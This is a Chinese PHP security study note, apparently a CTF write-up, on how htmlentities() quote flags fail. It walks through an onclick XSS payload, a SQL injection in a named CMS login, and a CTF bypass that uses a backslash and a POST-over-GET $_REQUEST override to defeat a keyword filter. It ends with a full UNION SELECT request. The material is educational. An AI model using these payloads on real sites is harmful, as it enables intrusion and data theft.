函数学习
htmlentities — 将字符转换为 HTML 转义字符
1 string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset" ) [, bool $double_encode = true ]]] )
作用:在写PHP代码时,不能在字符串中直接写实体字符,PHP提供了一个将HTML特殊字符转换成实体字符的函数 htmlentities()。
注:htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:
ENT_COMPAT(默认值):只转换双引号。
ENT_QUOTES:两种引号都转换。
ENT_NOQUOTES:两种引号都不转换。
Demo学习 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $sanitized = [];foreach ($_GET as $key => $value ) { $sanitized [$key ] = intval($value ); } $queryParts = array_map(function ($key , $value ) { return $key . '=' . $value ; }, array_keys($sanitized ), array_values($sanitized )); $query = implode('&' , $queryParts );echo "<a href='/images/size.php?" . htmlentities($query ) . "'>link</a>" ; ?>
看到结尾的响应标签内容猜测这题考察的可能是XSS ,这里一共有两处过滤点 intval
和 htmlentities
在第4~6行处,使用 foreach()
函数对 GET 请求的数据进行处理,但第5行的 intval()
函数只过滤了 $value
,未过滤 $key
第15行 htmlentities()
函数作用是将字符串转化为HTML实体,但是默认不对单引号进行转义
利用的是a
标签的onclick
事件来进行XSS攻击,F12查看闭合后源码
1 <a href="/images/size.php?" onclick="alert(1)//=1'">link</a>
案例分析 案例分析选择 DM企业建站系统 v201710 中的 sql注入漏洞 来进行分析,在 CNVD 中查看登录处存在SQL注入。找到漏洞入口文件 dm/admindm-yourname/g.php
打开文件后提示重定向到 dm/admindm-yourname/mod_common/login.php
,漏洞点位于第 78 行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $act = @htmlentitiesdm($_GET ['act' ]);if ($act =='login' ){$user = @htmlentitiesdm(trim($_POST ['user' ]));$ps = @htmlentitiesdm(trim($_POST ['password' ]));if (strlen($user )<2 or strlen($ps )<2 ){ alert('字符不够 sorry,user need more long' ); jump($jumpv ); } require_once WEB_ROOT.'component/dm-config/mysql.php' ; $pscrypt = crypt($ps , $salt ); $ss_P ="select * from " .TABLE_USER." where email='$user ' and ps='$pscrypt ' order by id desc limit 1" ; if (getnum($ss_P )>0 ){ $row =getrow($ss_P ); $userid =$row ['id' ];
第17行很明显存在sql注入,未做任何过滤,直接将 $user
拼接进sql语句中,回溯 $user
变量,在第 5 行通过POST提交后使用 htmlentitiesdm()
函数进行过滤,数据可控。跟进该函数,文件位于 dm/component/dm-config/global.common.php
中421~423
1 2 3 function htmlentitiesdm ($v ) { return htmlentities(trim($v ),ENT_NOQUOTES,"utf-8" ); }
htmlentities()
参数选择使用 ENT_NOQUOTES
,即两种引号都不转换。所以payload闭合单引号直接使用延迟注入进行探测。
漏洞复现
案例学习 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php require 'db.inc.php' ;if (isset ($_REQUEST ['username' ])){ if (preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST ['username' ])){ die ("Attack detected!!!" ); } } if (isset ($_REQUEST ['password' ])){ if (preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST ['password' ])){ die ("Attack detected!!!" ); } } function clean ($str ) { if (get_magic_quotes_gpc()){ $str =stripslashes($str ); } return htmlentities($str , ENT_QUOTES); } $username = @clean((string )$_GET ['username' ]);$password = @clean((string )$_GET ['password' ]);$query ='SELECT * FROM ctf.users WHERE name=\'' .$username .'\' AND pass=\'' .$password .'\';' ;$result =mysql_query($query );while ($row = mysql_fetch_array($result )){ echo "<tr>" ; echo "<td>" . $row ['name' ] . "</td>" ; echo "</tr>" ; } ?>
1 2 3 4 5 6 7 8 <?php $mysql_server_name ="localhost" ;$mysql_database ="Day12" ; $mysql_username ="Hongri" ; $mysql_password ="Hongri" ; $conn = mysql_connect($mysql_server_name , $mysql_username ,$mysql_password ,'utf-8' );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # Host: localhost (Version: 5.5 .53 ) # Date : 2018 -08 -05 12 :55 :29 # Generator: MySQL- Front 5.3 (Build 4.234 ) ; # # Structure for table "users" # DROP TABLE IF EXISTS `users`;CREATE TABLE `users` ( `Id` int (11 ) NOT NULL AUTO_INCREMENT, `name` varchar (255 ) DEFAULT NULL , `pass` varchar (255 ) DEFAULT NULL , `flag` varchar (255 ) DEFAULT NULL , PRIMARY KEY (`Id`) ) ENGINE= MyISAM AUTO_INCREMENT= 2 DEFAULT CHARSET= utf8; # # Data for table "users" # ; INSERT INTO `users` VALUES (1 ,'admin' ,'qwer!@#zxca' ,'hrctf{sql_Inject1on_Is_1nterEst1ng}' );;
分析 通过第 27 行可以看到本题为 sql注入,但存在两个限制条件
限制1 1 2 3 4 5 6 7 8 9 10 11 12 function clean ($str ) { if (get_magic_quotes_gpc()){ $str =stripslashes($str ); } return htmlentities($str , ENT_QUOTES); } $username = @clean((string )$_GET ['username' ]);$password = @clean((string )$_GET ['password' ]);$query ='SELECT * FROM day12.users WHERE name=\'' .$username .'\' AND pass=\'' .$password .'\';' ;
username
和 password
参数通过 GET 方式获取,使用 clean()
对获取到的值进行处理,在第 5 行中使用 htmlentities()
转义特殊字符,过滤规则使用 ENT_QUOTES 模式对单引号和双引号等进行转义。但这里并没有限制使用反斜杠 \
,即转义符,通过传入转义符使 sql 语句中的单引号失效
1 SELECT * FROM day12.users WHERE name= '$username' AND pass= '$password' ;
转义符使 username
后的单引号失效,从而闭合 $password
前的单引号,那么 $password
可跳出单引号限制,并且 $password
参数可控,最后再插入注释符注释掉语句中最后面的单引号
限制2 在 index.php
文件中第 4~14 行处
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_REQUEST ['username' ])){ if (preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST ['username' ])){ die ("Attack detected!!!" ); } } if (isset ($_REQUEST ['password' ])){ if (preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST ['password' ])){ die ("Attack detected!!!" ); } }
系统最开始会判断 $username
和 passowrd
,通过正则过滤参数中是否存在关键词,如果存在就退出并且输出 Attack detected!!!
可以看到是通过 $_REQUEST()
传入数据,而php中 REQUEST 变量默认情况下包含了 GET ,POST 和 COOKIE 的数组。在 php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目
1 2 3 4 ; variables_order ; Default Value: "EGPCS" ; Development Value: "GPCS" ; Production Value: "GPCS"
这些字母分别对应的是 E: Environment ,G:Get ,P:Post ,C:Cookie ,S:Server 。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POST 、 GET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值
最终payload为
1 2 3 4 5 6 POST /php/day12/index.php?username=\&password=%20union%20select%201,flag,3,4%20from%20day12.users%23 HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 29 username=admin&password=admin
通过调试可以看到参数值被覆盖